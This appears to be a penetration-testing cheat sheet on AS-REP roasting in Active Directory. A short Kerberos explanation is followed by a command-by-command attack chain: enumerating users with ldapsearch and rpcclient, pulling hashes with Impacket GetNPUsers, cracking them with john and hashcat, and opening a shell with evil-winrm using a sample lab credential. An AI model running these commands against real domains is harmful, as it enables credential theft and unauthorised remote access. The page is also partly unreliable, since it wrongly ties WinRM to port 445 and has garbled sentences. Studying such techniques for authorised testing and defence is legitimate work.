ASREProast

Theory

The Kerberos authentication protocol works with tickets in order to grant access. A ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast).

The pre-authentication requires the requesting user to supply its secret key (DES, RC4, AES128 or AES256) derived from the user password. Technically, when asking the KDC (Key Distribution Center) for a TGT (Ticket Granting Ticket), the requesting user needs to validate pre-authentication by sending a timestamp encrypted with it's own credentials. It ensures the user is requesting a TGT for himself. Once validated, the TGT is then sent to the user in the KRB_AS_REP message, but that message also contains a session key. That session key is encrypted with the requested user's NT hash.

Because some applications don't support Kerberos preauthentication, it is common to find users with Kerberos preauthentication disabled, hence allowing attackers to request TGTs for these users and crack the session keys offline. This is ASREProasting.

While this technique can possibly allow to retrieve a user's credentials, the TGT obtained in the KRB_AS_REP messages are encrypted cannot be used without knowledge of the account's password.


Practical

While this attack can be carried out without any prior foothold (domain user credentials), there is no way of finding out users with Do not require Kerberos preauthentication set without that prior foothold.

Recon

nmap -T4 -A -v <Host>

User Enumeration

LDAP

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

RPCClient

rpcclient -U "" -N <host>
rpcclient $> enumdomusers

Retrieve Users TGTs

Impacket

The Impacket script GetNPUsers (Python) can get TGTs for the users that have the property Do not require Kerberos preauthentication set.

GetNPUsers.py -request -format hashcat -outputfile ~/Desktop/ASREProastables.txt -dc-ip <host> 'Domain/username:password'

Crack Hash

John

sudo john --wordlist=/usr/share/wordlists/rockyou.txt ~/Desktop/user-hash.txt

Hashcat

hashcat -m 18200 -a 0 ASREProastables.txt $wordlist

Get Shell Access

And we have our user and pass, Doubling back to our nmap scan we also see that we have port 445/tcp allowing us to use WinRm. A great tool to establish a shell with WinRm is https://github.com/Hackplayers/evil-winrm and that is what we'll be using

Evil-Winrm

evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'
sudo docker run --rm -ti --name evil-winrm  oscarakaelvis/evil-winrm -i <host> -u <username> -p '<password>'


REFERENCES

Last updated